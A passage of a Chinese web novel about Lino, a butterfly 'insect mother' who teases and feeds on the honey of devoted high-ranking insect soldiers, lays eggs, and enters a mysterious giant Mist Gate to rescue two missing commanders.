伊戈提安将这三处袒露向利诺，闭上眼，似乎在等待利诺将他杀死。 “你要让我杀死你？”利诺踩在高等虫族的腿上，意味不明地询问，“伊戈提安？” 伊戈提安点头：“如果您能开心，我会很荣幸被您杀死。” 他不再东拉西扯、喋喋不休，而是固执地，让心爱的小蝴蝶杀掉过分的他。 利诺简单回：“好吧！” 他用力踩住虫族的大腿根，粉白的脚背被黑色的军裤包围，脚趾因为用力而泛着点红。 利诺抓住了其中一只虫翅的尖，脚下的虫族身体发抖。 这是伊戈提安第一次被其他虫族触摸虫翅，还是利诺，他喉结滚动，即使知道自己即将死亡，也因为从虫母手心传来的温度而生出无耻的欲念。 利诺没有扯断伊戈提安的翅膀，而是顺着翅膀的纹理，滑倒他的肩胛骨附近，准确地捏住一块略微凸起的腺体。 随着伊戈提安压抑在喉咙内的闷哼，蜜液争先恐后地流出，迫不及待地要让利诺去品尝。 利诺不饿，他只是捏着伊戈提安的蜜液分泌腺，以高位者的姿态，享受伊戈提安被他玩弄的狼狈。 等不来虫母享用的蜜液顺着翅膀大滴大滴地流到白金地板上，淡金色的液体覆盖住地板的光泽，不断流淌到尾钩处。 腺体在被利诺不留余力地捏紧，伊戈提安的呼吸越来越急促，直至一滴不剩，全都挂在翅膀、落在地上后，微瘪的腺体依旧在被小虫母过分地挤压。 如果伊戈提安睁开眼，就会看到利诺并没有生气或者难过，而是纯粹坏心思地在玩弄他。 利诺在刚见到那视频的时候确实有些难过，但很快就能想通，毕竟伊戈提安说出这话的时候并没有见过他，又怎么可能会无条件地臣服他？ 希尔维乌斯和拉斐尔等虫族在虫母没诞生的时候相信虫母的存在，也不过是因为虫母如果存在会给虫族带来好处而已。 将心比心，利诺不会甘愿当一只陌生虫族的下属，所以也就是有一点点的生气和难过。 利诺在今天把这点难过和生气完全发泄了，在将伊戈提安弄成狼狈模样后。 伊戈提安压制从喉间溢出的呻吟，疑惑地睁眼，声音沙哑地问：“冕下，您怎么不扯断我的翅膀惩罚我？” 他还想问，冕下怎么不割断他的尾钩，又怎么不拿武器对准他的胸膛？ 让伊戈提安怔愣的是，利诺弯起好看的眼睛，就像他意识海内代表虫母的那轮弯弯银月。 利诺收回带满淡金蜜液的手指：“已经惩罚一半了啊！” 爱惜食物的利诺伸出舌尖，尝了尝属于伊戈提安的蜜液，好像是草莓？ 喜欢！ 利诺眼睛亮了亮，一面有些可惜浪费的蜜液，一面把手指上的蜜液吃了个干净。 伊戈提安翅膀发烫，冕下似乎很喜欢他分泌的蜜液，但是发热的翅膀彰显分泌腺使用过度，已经无法再分泌出虫母喜欢的食物。 “冕下，还有一半的惩罚，是什么？”伊戈提安沮丧地垂落无用的翅膀，尾钩已经偷偷摸摸在蹭利诺的脚趾了。 他反应过来利诺压根就没想杀他，就连惩罚都不痛不痒，甚至都算得上是奖励了…… 伊戈提安的视线火辣辣的，满是痴迷和喜爱。 利诺想了想，抱起硕大的黑珍珠，提出他觉得都过分的要求：“我要好多这个！” 他指着黑珍珠：“要更大的！” 伊戈提安没有一点为难：“好，冕下要更大的，我会找很多很大的！” 他抓住时机：“冕下要和我一起去找吗？你不用找，可以看我找！” 利诺犹豫了会儿，摇头：“不行，我得学习和训练，没有时间。” 看着失落的伊戈提安，利诺察觉出不对劲儿：“你不用工作吗？” 希尔维乌斯他们都很忙，工作表密到利诺看了都头晕，怎么伊戈提安这么游手好闲？ 伊戈提安迷惑：“为什么要工作？我已经把我们三军今年关闭门数的指标完成了。” 军务他不用管，都扔给了三军的副军长和参谋。 至于闲暇时间的训练，伊戈提安是个天赋型虫族，他训不训练都不影响他在门内世界的出色战斗。 因此，伊戈提安才有时间去挑事看乐子，他算是军护最游手好闲的虫族！ 利诺咬牙，看到伊戈提安说坏话都没生气的小虫母现在生气了。 他重重一脚跺在伊戈提安收起倒刺的尾钩上，力气大到伊戈提安的五官略微扭曲。 利诺冷笑：“在虫族各军长力求在有限的时间内破更多数量的迷雾之门时，你居然就只打算完成指标？” 伊戈提安张嘴：“啊？” 利诺做足了压榨下属的大首领模样，严厉道：“伊戈提安，你知道每年军部的支出有多少吗？支出的大部分都是你们的工资、慰劳奖金，以及给你们准备的武器、训练设备等……” 不等伊戈提安说话，利诺又开始卖惨：“我们虫族现在财政有多紧张你知道吗？” 他抹了把不存在的眼泪，嘤嘤嘤：“我压力很大的！” 伊戈提安慌忙擦拭利诺的眼尾：“我知道我知道，冕下，给您找完珍珠宝石我立马驱散迷雾！” “这还差不多……”利诺挥挥手，“伊戈提安，赶快去为我工作！” “遵命！”伊戈提安不舍，但他现在很狼狈，蜜液沾满衣衫，而且小蝴蝶又嘤嘤哭穷…… 被利诺完全迷惑的伊戈提安迅速离开，收拾好回头和副军长打了个招呼就架飞船去了珍珠星。 处理军务的副军长和三军参谋两虫震惊对视：“伊戈提安阁下疯了？” “一定是疯了吧，不然他怎么会主动提出要进入迷雾之门？” 副军长扔下文件：“我要告诉元帅阁下，这样我就能当军长去见冕下啦！” 参谋惊恐：“你想死吗？你不怕伊戈提安阁下杀了你？” “死前能见冕下一面也值了……我特地穿了花色裤衩，据说冕下就喜欢穿花裤衩的虫子！”副军长嘿嘿傻笑。 他又摸摸头发：“你说我把这玩意染成绿的，冕下会不会更喜欢？” 参谋虫无语：“你从哪里知道冕下喜欢绿头发的？” “星网论坛啊！”副军长回答，“还有虫说冕下喜欢做了腺体分泌腺割除手术的虫，他们当我傻子吗？我肯定得留着腺体要喂食冕下呢！” 参谋虫脑子转的比副军长快，他立马能判断出冕下喜欢花裤衩、绿头发也是假消息，肯定是某些虫族在忽悠不聪明的虫族上当，减少潜在的两千万名情敌。 看在一起处理军务的份上，参谋非常赞同：“是这样的没错，我觉得你穿花裤衩、染绿头发一定会得到冕下的欢心！” 虽然平时一起团结打怪物，但要是涉及争宠，虫们还是要坚持原则，尽一切可能淘汰竞争虫！ 虫族居家机器打扫完地上的狼藉，圆滚滚的身材对着利诺转了个圈，屏幕上摆出星星眼：“尊贵的冕下，已经打扫完毕。如果您满意编号223的工作，希望您下次接着使用编号233，啾咪～” 电子合成的声音硬是被机器人说出了嗲里嗲气的荡漾意味。 利诺微笑：“再见。” 谢谢，不会再使用了了，他决定下次换个不会用粗狂电子合成音卖萌的居家机器！ 这座宫殿里可是有整整五百个居家机器，总不会都是这种声音让他后背发凉的机器吧？ 安瑟姆这时端着盘子走进来，正挂着笑脸往外走的机器立马拉下脸，屏幕的线条围成都表情很严肃：“护卫长安瑟姆，请你不要随地乱丢饼干碎渣，我们打扫起来很麻烦的！” 安瑟姆并不生气：“好的，我会小心喂冕下。” 居家机器233重新扬上笑脸，表情谄媚：“如果是冕下就没关系啦，冕下就算把渣渣扔到所有地板上，233都会打扫干净的哦～啾咪～” 利诺打了个冷颤，好说歹说把这尊机器给送走了。 利诺被安瑟姆擦干额头的冷汗：“蓝星的机器这么厉害的吗？” 英玛星太偏僻落后，还没有这种机器，利诺是第一次见这么有脾气的机器。 安瑟姆将一块小饼干喂给利诺，解释：“准确来说，这些机器不算完整的机器。” 利诺嚼着奶香小饼干，听安瑟姆道：“完全的机器不存在情绪和感知，弊端很多，因此已经淘汰。” “现在的机器应该算是半机器半虫的存在，大多数士兵在进入迷雾之门前都会去科研院留下一段意识，死去士兵们的意识会被放进各类机器。” 利诺的饼干含在口中，双眸睁大，来不及嚼。 “冕下，小心饼干碎渣进入气管。”安瑟姆捏了捏利诺的鼻子，让他咀嚼，这才回答，“刚才的编号233居家机器是两百年前的一名军部士兵。” 安瑟姆没说的是，这位编号233的机器是打败了一千多名其他的居家机器才进来的宫殿。 那一千多名居家机器正在科研院里维修，哭天喊地，怒骂编号233不要脸！搞偷袭！ 哪怕只是有虫族一点意识的机器，都完全抵抗不住虫母的吸引。 第35章 米尔顿是一名蓝星最高军部的普通虫族士兵，在军长克凛恩的六军任职，目前正在开辟拉圣腓星系边缘的3号未知星系。 驱散迷雾的工作危险、重复又繁重，虫族士兵差不多一周进一次迷雾之门，在长官的带领下找到钥匙并销毁。 每关闭一扇门，士兵会有一天到两天的休息时间，精力旺盛的虫族会在这个时间依旧坚持训练，而一些意识海有紊乱迹象的虫族就会趁这个时间睡眠恢复。 在虫母诞生后，米尔顿由后者成了前者，他的目标是在百年内内从上等兵升到少将，因此他格外拼命努力。 更何况，在虫母冕下回归后，他的意识海更加稳定，就算因为频繁动用精神力而有紊乱的迹象，都会在中央那轮象征虫母的弯月的影响下迅速得到缓解。 那位虫母冕下是包括米尔顿在内的所有虫族士兵极其效忠且仰慕的存在。 米尔顿想要成为少将也是因为虫母冕下会对少将以上的虫族亲自授衔，想到前几天的视频内，那位白粉发的漂亮青年微笑着亲自为那几只虫族士兵系上徽章的模样，他的心头就一阵艳羡和火热。 总有一天，他也会站在冕下的面前，痴痴地，让冕下为自己系上新的军衔徽章！ 只是在训练之前，米尔顿还有一件出迷雾之门后必做的事情，他打开了有网的腕表，进入星网，点击特别关注的账号。 萨那加帝国官方：亲爱的冕下今天也在努力学习～冕下认真读书的侧脸.jpg 帝国账号的头像是一只漂亮的蝴蝶模样的标识，这是他们前虫族、现萨那加帝国的象征，用在军装、作战服、旗帜等等之上，表示他们都是利诺冕下的所有物。 这个与建立政权同步成立的官方账号果然在米尔顿攻陷迷雾之门的期间再次发了有关于冕下的照片。 官方账号除了一些官方消息外，剩下的全都是对虫母冕下的各种彩虹屁文案。 米尔顿端详那张照片良久，太阳在清早的光线并不刺眼，冕下坐在书桌前，拿着一根笔在笔记本上记录着什么，白嫩精致的侧脸没有什么表情，却依旧撬动每只看到这张照片的虫族。 点赞、转发、花式赞美一条龙，米尔顿憧憬地再次欣赏了一遍冕下的照片，点击保存进自己的私密相册，然后开始进行艰苦训练。 米尔顿只是众多这么做的虫族中的一只，他们的斗志被充分发挥，与迷雾作战的好胜心也被充分激发。 利诺已经来到蓝星有一个多月，他每天重复着学习、训练和上手处理政务的事情，偶尔也需要进入意识海去安抚虫树上的子嗣，忙的不可开交。 抱着赫弥珞的翅膀吃光那不断分泌的蜜液，利诺小小打了个嗝，将赫弥珞的翅膀啃出坑洼的好几个牙印。 带着几分撒气，赫弥珞已经熟悉经常被小虫母这么对待，他只是克制地喘了口气，将小虫母抱在怀里，温声问：“冕下，不高兴的话可以多咬几口。” 利诺最近的意识海比较躁动，带的他也有些脾气大，恶狠狠地瞪了一眼赫弥珞，他的牙齿从翅膀转移到高级虫族的脸上。 咬住虫族那张分外英俊的脸，钝化的牙齿撕咬，在离开的时候，留下一排整齐的小牙印。 泄了气，利诺才淡定地命令：“赫弥珞，将我带去孕育室。” 赫弥珞一愣，不知所措：“冕下？” 利诺微微皱眉：“别废话！” 赫弥珞抱着利诺，迅速飞到科研院为利诺专门准备的孕育室内。 毕竟是虫母冕下的头次孕育，包括科研院在内的虫族都不知道虫母诞育子嗣的过程和注意事项，只能在检查利诺的身体后，先按照利诺的要求在宫殿内建立起一间孕育室。 孕育室内没有任何高精尖仪器，只有一些高度浓缩的营养液，这是利诺的要求。 营养液当然不是为他准备的，而是为那十一颗虫蛋。 在完全私密的空间内，利诺顺着本能的呼唤化作一米大小的蝴蝶，在空中划出美丽的弧线，磷粉从翅翼洒落，然而这次落在地上并未长出那种过上几分钟就会枯萎消散的粉色小芽。 磷粉被翅膀集中掉在一处，用虫族目前最坚硬的建材制成的地板发出扭曲破碎的呻吟，粉红色的芽从中破出、迅速生长。 粉芽彼此缠绕、向上攀升，变成了一截粗壮的枝桠，与利诺意识海内的树枝一模一样。 偏小的蝴蝶停留在这截枝桠上，扑闪的翅膀停止不动。 利诺进入到一种很玄妙的状态，繁育的本能告诉他，他要将意识海内的汲取了雄虫基因的蛋全部显化在枝桠上，这是他繁殖的方式，也是一种非常简便的进化。 他不会有任何虚弱期，也不会有任何孕育子嗣的尴尬，他是虫群天生的母亲，他的使命之一就是通过孕育来扩大虫群的数量。 然而虫族的基因又没有将他仅仅局限在孕育虫群上，他不是生产的工具。 利诺可以选择孕育子嗣，也可以做很多很多自己喜欢的事情。 利诺是特殊的，是被始终偏爱的，冥冥中，有一道声音充满慈和地告诉他，缓解利诺的不安和紧张。 利诺不知道那声音是什么，而且那道声音是他的幻觉也说不定。 蝴蝶的触角颤动，浩瀚无垠与宇宙一般的精神力调动，将他和枝桠包裹起来。 在这一刻，利诺意识海内的树与枝桠几乎融为一体，虚实交汇，树上悬挂的银色果子也从虚无转变为真实的、在现实世界存在的虫蛋。 十一颗虫蛋整整齐齐挂在了由磷粉生长的枝桠上，蝴蝶则停留在枝桠的顶端，虫瞳大致扫了遍安静的虫蛋，他们会在短暂的沉睡后极速成熟然后破壳。 由虫母诞下的虫族不会有漫长如人类的生长期，而是一破壳就是天生的战士，为虫母而战。 利诺很满意自己的成果，真不愧是他！当毛毛虫时就很精彩了，现在成了蝴蝶，生了蛋不说，连蛋都是强的！ 蛋的等级同样有高有低，但是虫族的等级不是阶级的划分，象征的是他们不同的擅长方向。 利诺得意地走出房间，然后就看见几只高级虫族紧张的表情，又看到一群半截身子都要入土的科研院老学究们同样紧张忐忑的神情，扬眉扫到他们的身后，一队士兵扛着一张病号床。 满心以为虫母冕下会像蓝星原种族留下的零碎资料那样会在产后虚弱无比、耗尽力气的虫族和浑身活力满满、非但不虚弱反而觉得自己更强了的利诺彼此茫然地对望。 利诺：“哪只虫族受伤了？” 科研院的院长是只八百多岁、进入衰老期的虫族，他的声音颤巍巍地抬高：“快！快把冕下抬上担架！带冕下去检查身体！” 利诺还没反应过来，赫弥珞已经将利诺抱起来，根本没用上担架，一群虫族极速拥簇着发呆的虫母去宫殿内的医疗房间检查身体。 在场的所有虫族都只顾着利诺，完全忘记了孤零零待在繁育室的虫蛋们。 走到一半，科研院院长才想起来，又颤巍巍地提醒：“留下一些虫子照看冕下的子嗣！” 于是这些虫族恍然大悟，留下几只折返回去守在繁育室门口。 等完全健康的身体数据从医疗舱内计算出来，利诺交叉手臂，面色红润：“我很好，非常健康。” 他又举起自己的手臂，拼命挤出了一点肱二头肌：“看，我都有肌肉了！” 赫弥珞深知利诺对肌肉的迷恋，在他服侍小蝴蝶的时候，小蝴蝶都会又爱又羡地咬他的肌肉，好像只要咬下来就可以长在他身上似的。 “冕下真的有肌肉了！”赫弥珞适当地鼓掌，将利诺夸得团团转。 在小虫母的下巴越翘越高时，其他虫族也不落下风，将根本练不出肌肉的利诺夸成了胚胎。 利诺飘飘然，对着这些奉承他的下属们更加用力地挤出那点可怜的肉。 赫弥珞失笑摇头，冕下有时候真的过分的可爱，他俯首牵住那挤得泛红的胳膊，哄道：“冕下，可以了，我们大家都知道你有肌肉了。现在放下来，我们去看看我们的孩子。” 作为第一只和利诺有孩子的赫弥珞内里很是欣喜，但表面上他还得摆出沉稳的模样，享受身后拉斐尔、伊戈提安等虫隐隐的羡慕和嫉妒。 利诺看了眼时间：“你想看就看，我接下来到训练的时间了。” 他对虫蛋的母爱也就那样，什么都不能阻挡他变强的脚步。 “可是您刚……”赫弥珞欲言又止，他很欣赏利诺的那股狠劲，但也不忍利诺对自己有那么狠，“不如您休息两天再训练？” 利诺不置可否，似乎在犹豫。 见有戏，赫弥珞想了想有空闲时间的高级虫族，伊戈提安最近打了鸡血一样带着军队去驱散迷雾，拉斐尔正和安瑟姆一起筹备起草帝国的律法。 而他目前也需要调整整个虫族分布在四个星系的军部，将从前松散的组织组成紧密的联合体，三军军长卓姆索尔和四军军长墨菲迪斯会协助他。 想来想去，只有希尔维乌斯由于之前实打实忙了很久，赫弥珞正准备让这个优秀寡言的后辈休息一些时间，毕竟虫族就算身体强悍也不能一直不休息。 赫弥珞道：“正巧我将要给希尔维乌斯一周的假期，在这个时间您不如和他一起出去游玩。” 被提及的希尔维乌斯没想到会有这么一个天降的大馅饼，略带期待地望向犹豫的利诺。 利诺这个月比以往的十八年都要忙，连睡眠时间都大大缩减，从原先的一天一睡变成两天甚至三天才会睡一觉。 他虽然喜欢努力，却也知道要劳逸结合，但是希尔维乌斯……利诺想起他每天雷打不动的三句虫机问好，就觉得头疼。 希尔维乌斯不怎么喜欢说话，但那比利诺还直的脑子猛地转动：“冕下，我有一个星球在拉圣腓星系，由玉石构成。” 他干巴巴地询问：“您喜欢开石头吗？不同的石块可能会藏着不同品质的玉石。” 这引起了利诺的注意，尤其是希尔维乌斯的最后一句话吸引了他。 利诺不再考虑，而是迅速点头：“那接下来的一周就麻烦你了，希尔维乌斯。” 希尔维乌斯的嘴角挂上一丝淡淡的笑：“我的荣幸，冕下。” 说走就走，利诺产下虫蛋的第三天就和希尔维乌斯架了一艘飞船出发。 这次出行只是游玩，利诺没有带太多护卫，甚至安瑟姆也被他留在蓝星和拉斐尔一起制定帝国律法，安瑟姆虽说是他的护卫长，但利诺不会把这只高级虫族局限在服侍他的位置上。 “希尔维乌斯，教我开飞船！”利诺的眼睛亮晶晶的，看着希尔维乌斯在飞船的驾驶位上操作。 这艘飞船虽然是小型的，但同时具备跨越时空的功能，且因为利诺要乘坐，科研院对飞船的防御和攻击进行了格外的加强。 希尔维乌斯设置了自动驾驶，但并不妨碍他向利诺介绍按钮的作用。 利诺坐在了驾驶位上，希尔维乌斯则弯腰，对着一个按键道：“冕下，这是空间跳跃键，我设置成了每隔一小时进行一次跃迁的模式……” 在记着各种功能的利诺突然闻到了一股浓郁的清甜，有点凉，像利诺上辈子和队友一起去某个城市杀丧尸时路过的一种植物。 那植物绿油油的，利诺摘了一片放嘴里咀嚼，又凉又甜。 他很喜欢，摘了好几颗回基地种，但后来不知道为什么枯萎了，他之后也没有机会再去那个城市。 利诺仰头注视希尔维乌斯：“你的味道好好闻。” “抱歉，我没有控制住蜜液的分泌。”这算是希尔维乌斯第一次和利诺亲密接触，当初光是在操场闻到利诺的味道都受不了的希尔维乌斯此时却无法抵抗这种要给妈妈喂食的渴望。 骷翼飞蛾的翅膀有震慑敌人的功能，因此比一些虫族的翅膀要恐怖很多，上面的花纹形成了一个漆黑扭曲的头骨。 只是从翅根分泌出的黏腻蜜液淡化了这种震慑，将整个翅膀都弄得湿哒哒的。 他觉得安瑟姆的翅膀可以分泌的蜜液已经很多了，但没想到希尔维乌斯这只看起来冷冰冰的虫族能分泌的蜜液比安瑟姆的还有多。 利诺转动椅子，滑到蛾族的身前，询问：“你没有定期清理你的蜜液吗？” 就算现在废液不再是废液，而是喂食虫母的蜜液，可虫群数目庞大，利诺不可会全都吃到。 他没有那么大的胃口，而且利诺更加偏向食用固定的几只虫族的蜜液，比如安瑟姆、赫弥珞和拉斐尔。 因此，其他虫族仍然需要定期清理翅根的蜜液，只是他们不再认为这是一种麻烦，而是甜蜜的烦恼。 寡言的虫族摇头，他忍耐着冕下的指尖若有若无地在翅膀上滑动，喉结滚动：“希尔维乌斯一直在等待冕下的享用。” 梳着长马尾却丝毫不女气、更像是人类古代威严年轻将军的虫族垂落虫翼，敛下如同冰山般的深蓝竖瞳，坦白自己的一切。 利诺唔了声：“继续说。” 忠诚的虫族将心理活动详细剖解给他的冕下：“希尔维乌斯很想要冕下品尝……不想要清理蜜液……想要储存起来，都、都喂给冕下……” 希尔维乌斯乞求地询问：“可以享用我吗，冕下？” 被只酷哥虫族用这么可怜的眼神看着，利诺有些饥渴，同时那种征服感带来的满足愈加浓厚。 利诺赞扬道：“好孩子，我会好好享用你的。” 他咬上了希尔维乌斯的翅膀，如同希尔维乌斯的愿望，喝下类似薄荷甜水的蜜液。 不似吃薄荷叶时先会尝到的苦，希尔维乌斯的蜜液反而是凉丝丝的清甜。 希尔维乌斯储存的蜜液太多了，饶是利诺这种食量大的，也没有彻底吃完。 他佩服地拍拍希尔维乌斯的肩膀：“我单方面认定你是蜜液最多的虫族了！” “冕下喜欢吗？”希尔维乌斯问。 这句话让利诺想起他每天雷打不动的问好，挑眉：“还行。” 趁着希尔维乌斯整理翅膀的时候，利诺才缓缓问：“希尔维乌斯，你是不是看我不顺眼？” 虫族的动作停下，似乎很疑惑利诺会这么认为：“我很珍重冕下。” “你每天早上八点、中午十二点和晚上九点都拿一样的话骚扰我，这叫珍重？”利诺准备把话对希尔维乌斯说明白。 希尔维乌斯似乎无比震惊，良久他才回答：“我在表达对冕下的关心……”那些话虽然都极为相似，但都是希尔维乌斯拿着腕表深思熟虑一个音节一个音节敲出来的。 他以为利诺冕下会察觉到他隐藏在关心下的心意，期待被冕下叫去吃蜜液，然而希尔维乌斯今天才知道，冕下把这当对他的不顺服。 希尔维乌斯傻眼了。 利诺无语道：“你看到我的句号回复了吗？” 希尔维乌斯迅速调整差点崩溃的心态，连忙一板一眼地回答：“当然看到了，冕下的句号回复很有深意，我还没有推测出您的真实用意。” 利诺没忍住，翻了个大大的白眼：“没有任何深意，只有我的无语。” 他直接两手齐上，捏住了希尔维乌斯的脸颊，丝毫不怜惜地往两边拉扯，接着又挤在一起，咬牙切齿：“以后，不许再给我发一样的消息！” 希尔维乌斯的五官拥挤在一起，略显滑稽，依旧板正道：“……不是一样的消息。” 他想解释，每天的都不一样，每个字他都有精心修改，“冕下早上好”和“冕下早安”能是一样的消息吗？ 第36章 “意思差不多也不行！”利诺要被希尔维乌斯给气死了，他把这只虫族的脸揉到肿起来才罢手，“听明白了吗？” 希尔维乌斯顶着全是红指印的脸，正色道：“遵命，冕下。” 利诺又恶狠狠捏了一把希尔维乌斯的脸。 希尔维乌斯看似正常，实则内心完全破防，他万万没想到，自己以为的表达爱慕被冕下认为是在没事找事。 他失落地想，要不要找拉斐尔借几本有关的书籍，从上面学习学习？ “你在想什么？”利诺瞥了眼高等虫族。 希尔维乌斯丝毫不隐瞒：“我不擅长交际，想找拉斐尔借几本书。” 利诺沉默，好心劝道：“不需要吧？”说起拉斐尔的藏书，他印象最深刻的就是那本宫斗小说，想来拉斐尔也是如此。 想到里面的各种陷害和谋杀，利诺激灵：“大可不必！” 希尔维乌斯不明白利诺怎么会有这么大的反应，想了想，还是没有开口。 他已经让利诺很厌烦了，再问或许会招来更多的厌烦…… 利诺吃完蜜液就想睡觉，反正是休假，他让希尔维乌斯露出尾钩，趴在上面睡觉。 希尔维乌斯则身形僵硬，每只第一次被虫母在尾钩栖息的虫族都是如此，他们会有心灵上的愉悦和本能上的满足。 好似他们的尾钩不是凶残的武器，而单纯只是生来为虫母准备的休息工具。 虫族的尾钩舒适地微微摇晃，让上面的小蝴蝶睡得更香更甜。 然而，这种深度睡眠没有持续很久，利诺被一阵心悸惊醒，他从希尔维乌斯的尾钩上猛地跳起来。 “做噩梦了吗？”希尔维乌斯一直没睡，利诺还没有惊醒时就已经发觉小蝴蝶在不安。 他将拟态回人形的利诺抱在怀里，略有些生疏地拍打利诺的后背。 “出事了！”利诺大口喘气，“出大事了！” 沉默的虫族低头吻去利诺鼻尖的汗珠，安抚道：“不要慌，有我在。” “希莱耳和克凛恩的精神星点没了……我感受不到他们两个的位置了！”利诺迅速冷静下来，他有过很多同伴死亡的体验，所以只有短暂的惊慌失乱。 利诺没有真正面对面与这两只军长相处过，他们一直在拉圣腓星系边缘驱散迷雾，仅有的几次见面也是在某些会议上的全息投影。 加上那颗生命石，这一个多月他从这两只虫族那里收到了不少礼物，而且件件都让他很满意。 没有首领会不喜欢又拼搏又会讨好自己的下属。 只是就在刚才，位于他意识海星空边缘那两颗耀眼的星点突然齐齐消失，太突然，太迅速。 要不是周围那些光度较为逊色的星点还在，利诺都要以为这两颗大星点压根就不存在。 利诺在迷雾之门内都能联络到门外的虫族，而这种星点全部消失的情况只有一个可能，那就是他们死了。 那可是两只高级虫族，虫族中战力最高的等级，有什么东西会迅速将他们秒杀？ 利诺意识到了不对劲和即将来临的危险：“希尔维乌斯，调转方向，去五军和六军驻扎的星球。 “如果五军军长和六军军长死亡，那里一定很危险。”希尔维乌斯居然拒绝了利诺的要求，“我不会让冕下去往危险的地点！” 他硬气道：“冕下可以先让其他高等虫族来探查，如果冕下一定要去，起码要带够足够的士兵！” 虫族会绝对服从虫母的一切指令，但前提是，虫母的生命安全一定要得到保证。 利诺的精神力直接压制希尔维乌斯：“我会调动军队，但现在，你必须驾驶飞船去我要求的地点。” 漂亮的青年很肯定道：“他们没有死。但要是再晚一点，或许真的会死。” 利诺：“我不能忍受我不去救我有概率救下的虫群。” 他是虫群的主宰，也是虫群的母亲。 可以链接整个虫群的虫母在身体素质方面比不过高等虫族，但精神力绝对碾压所有的虫族。 希尔维乌斯无法再违抗利诺的命令，虫母的精神力将他包裹，看似包容实则又极其固执。 “冕下……”希尔维乌斯不受控制地调整飞行轨道，“我无法认同您的选择……您的生命大于一切！” 虫群对虫母的狂热也体现在这种外表内里一致冷漠的一军未来军长身上，如果可以保护利诺，他不会犹豫付出自己以及其他虫族的生命。 利诺拉了拉希尔维乌斯的翅膀尖，语气略微缓和：“你们对我也很重要。” 这是他的族群，是他的下属，就如同上辈子那样，他不会轻易放弃还有生还机会的虫子。 这种坚持是他在幸存者基地长大的过程中无意间培养出来的，在最后全部小队成员变成丧尸后就成了某种执念。 希尔维乌斯在生气，利诺又顺顺这只大蛾子的毛：“好啦，希尔维乌斯，你要乖乖的，我也会好好的。” 飞船加速行驶，接连跨越时空，最终到达五军和六军士兵目前的地点。 期间，利诺也链接了还在蓝星军部的赫弥珞、拉斐尔等高级虫族，要他们率兵来支援。 黑压压的迷雾与被驱散了迷雾的宇宙泾渭分明，虫族士兵站在两者交汇的中间，一扇巨大的门阻挡了他们前进的步伐。 这门极大，远比利诺之前经历的两扇门以及在资料上见到的迷雾之门都要大，四颗硕大的石头镶嵌在全白的门上。 有两颗石头已经亮起，还有两颗石头呈现暗淡的眼色。 五军和六军的副军长面对突如其来的变故不知所措，但训练有素，及时稳定了同样等待进入迷雾之门的虫族士兵。 当他们正准备联系蓝星军部时，带有蝴蝶印记的飞船进入他们的视野，两只虫族从飞船内下来。 “发生了什么事？”利诺张开蝶翼飞到为首的两名副军长面前，相较上次，他这次在真空环境的星空中只有轻微到可以忽略的不适。 利诺在蓝星的训练中就有适应宇宙环境的项目，多练习几次就能提高在宇宙间的适应度。 “……”副军长们呆傻住了，和所有士兵的眼珠直愣愣盯着利诺不动。 他们天天对着冕下的照片抒发爱意，却骤然见到了照片里的正主。 冕下啊！这是活生生的冕下啊！ 虫群有一瞬间的骚动，但在希尔维乌斯的威压下迅速冷静，一只只站的笔直，力求吸引利诺的视线。 “……冕下！？”副军长失声尖叫，“您、你怎么来了？” 利诺没有客套，而是望了眼那扇巨大的门，问副军长：“我察觉不到希莱耳和克凛恩的精神力了，发生了什么事？” “冕下，是这样的……”五军副军长连忙将发生的事情说出来。 今天五军的计划是和六军配合关闭一扇最大的门，五军军长希莱耳先带领他挑选的一队士兵飞入门内。 但亮光闪烁，门上的石头亮起一颗，希莱耳没有出来，和他一起进入的士兵全都被门弹了出来。 克凛恩不信邪，同样带着士兵进入，然而门的第二颗石头亮起来，跟克凛恩一起的士兵也被尽数弹了出来。 副军长阐述：“目前只有希莱耳阁下和克凛恩阁下顺利进入门内，我们又尝试了好几队士兵，但毫无例外，门拒绝了他们的进入！” 利诺看向这扇半开的门：“难道是限制数量的？”他问希尔维乌斯，“你有遇到过这种门吗？” 希尔维乌斯摇头：“没有，冕下您要谨慎。” “那就试试。”强烈的好奇和探险欲促使利诺稍作思考，便飞进迷雾之门。 面对诡异的门，利诺应当谨慎，然而他之前遇到的两扇门都不算正常……利诺居然觉得也没什么，而且救虫要紧。 利诺对自己很有信心。 “冕下！”希尔维乌斯瞳孔紧缩，紧紧跟随利诺进入半开的巨门内。 剩下的两颗石头缓缓亮起，找到合适对象的大门完全关闭，静静悬浮在迷雾中。 …… “你叫……利诺对吗？末等的异族公民？你为什么来应聘这次的饲养员？” 偏暗的会议室内，灯光的照亮范围有限，打在面试官的脸上形成一团阴影。 面试官有一双凸出眼眶的菱形眼珠，耳朵是细长的触角，更细更长的触角是他的头发。 此时，这位男性面试官正在用那双菱形的眼珠注视对面的异族青年。 利诺坐的板凳很小，令他现在的姿势显得局促，但他的身上没有最末等公民的自卑和懦弱，而是露出一个恰到好处的笑容，话语也很真诚：“因为我再找不到工作，就要饿死了！” 珀鲁星是一个比较排外的星球，由于近年来不断有星球在毁灭，一些侥幸活下来的种族逃到了还算安稳的珀鲁星。 他们被珀鲁族视作寄生虫，被归类到最下等的种族，在社会的方方面面遭到各种明里暗里的歧视。 利诺便是其中的一员，他已经两天没吃饭了，但奈何应聘的所有职位都没有通过。 觉得自己可能会饿死的利诺最后发现了一份极其危险的工作招聘，那就是阿拉沃的饲养员。 在科技发达的时代，这个星球的种族仍旧保留着虔诚的信仰，他们供奉一个名为沃姆的神明，他们认为这是创造他们的神明，而阿拉沃是沃姆神最为亲近的子嗣，是珀鲁族需要供奉的、仅次于沃姆神的存在。 但不同于沃姆神是不存在的神，阿拉沃是真实存在的，据说他们有九位，被供奉在黄金建筑中。 按理说，珀鲁这个种族应该会很乐意为他们神明的子嗣服务，但阿拉沃是沃姆神特意诞育为自己开辟领土的子嗣，他们暴躁嗜血、强大专横。 成为阿拉沃的饲养员是一个非常危险的职业，很少有饲养员可以活过一个月。 因此除了个别信仰到疯魔的珀鲁，大部分珀鲁族都不会做这份工作，这项常年招不满饲养员的职业便扩展了招聘条件，非本种族的异族也可以应聘。 面试官应该是从来没有见过这么坦诚的，他停顿了下又按照程序问：“你觉得阿拉沃尊者是什么？” 我觉得那就是一群没开智的危险大虫子怪物，也就你们当个宝供着，放在他们那里早杀了吃肉了，烤虫腿应该很香，满满的蛋白质……利诺嘶溜着口水在心里默默回复。 只是表面上他不能这么说，他还需要这份管吃管住的工作。 利诺装作敬仰的神情：“阿拉沃尊者是伟大的沃姆神的子嗣，他们在沃姆神的驱使下为我们攻占下最安全的珀鲁星，也正是因为他们的存在，销毁众多星球的邪恶力量才不敢来珀鲁星……” 